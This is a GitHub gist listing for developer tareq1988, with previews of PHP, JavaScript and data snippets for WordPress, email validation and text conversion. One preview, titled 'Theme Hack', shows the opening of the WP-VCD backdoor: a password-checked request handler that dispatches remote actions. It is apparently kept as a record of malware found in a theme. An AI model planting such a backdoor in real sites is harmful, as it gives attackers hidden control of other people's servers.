Skip to content

Instantly share code, notes, and snippets.

View tareq1988's full-sized avatar
🎯
Focusing

Tareq Hasan tareq1988

🎯
Focusing
View GitHub Profile
@tareq1988
tareq1988 / extensions.php
Last active January 29, 2024 07:57
PHP Extensions Support
<?php
$extensions = [
'apcu',
'bc',
'ctype',
'curl',
'dom',
'exif',
'fileinfo',
@tareq1988
tareq1988 / disposable-email-provider-domains
Last active December 30, 2023 08:16 — forked from lcherone/disposable-email-provider-domains
List of disposable email provider domains
0815.ru
0815.ru0clickemail.com
0815.ry
0815.su
0845.ru
0clickemail.com
0-mail.com
0wnd.net
0wnd.org
10mail.com
@tareq1988
tareq1988 / functions.php
Created October 31, 2018 08:45
Theme Hack
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
// ==UserScript==
// @name FB Ban/Unban Like a Boss
// @namespace fb-banlikeaboss-dsd
// @include https://www.facebook.com/*
// @version 2.1
// @grant none
// @require http://cdn.craig.is/js/mousetrap/mousetrap.min.js
// @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js
// ==/UserScript==
//Avoid conflicts
@tareq1988
tareq1988 / bn-to-en.php
Created January 30, 2015 12:16
Bangla to Phonetic English Conversion
<?php
/**
* Tokenize Unicode strings
*
* @param string $str
* @link http://php.net/str_split
*
* @return array
*/
function str_split_unicode($str) {
@tareq1988
tareq1988 / functions.php
Created October 27, 2018 15:15
Dokan seller info in popup on store page
<?php
add_action( 'wp_enqueue_scripts', function() {
if ( ! dokan_is_store_page() ) {
return;
}
wp_enqueue_style('dokan-magnific-popup');
wp_enqueue_script('dokan-popup');
} );
<?php
if ( !function_exists( 'wp_log' ) ) {
/**
* A file based logging utility.
*
* Made for WordPress, but can be used anywhere with a single change.
*
* @author Tareq Hasan <tareq@wedevs.com>
*
<?php
$sites = "http://www.broadcastsolutions.com.au/
http://www.kvm.com.au/
http://www.ambertech.com.au/";
$sites = preg_split('/\r\n|\r|\n/', $sites);
echo "
<?php
function wpuf_show_custom_fields( $content ) {
global $post;
$form_id = get_post_meta( $post->ID, '_wpuf_form_id', true );
if ( !$form_id ) {
return $content;
}
@tareq1988
tareq1988 / script.js
Last active November 14, 2018 12:14
Sort a plugin author's all plugin by active installation count on wp.org
(function($) {
var total = 0;
var list = [];
let plugins = $('#content-plugins ul li');
console.log('Number of Plugins: ' + plugins.length);
plugins.each(function(index, el) {
let plugin = $(el);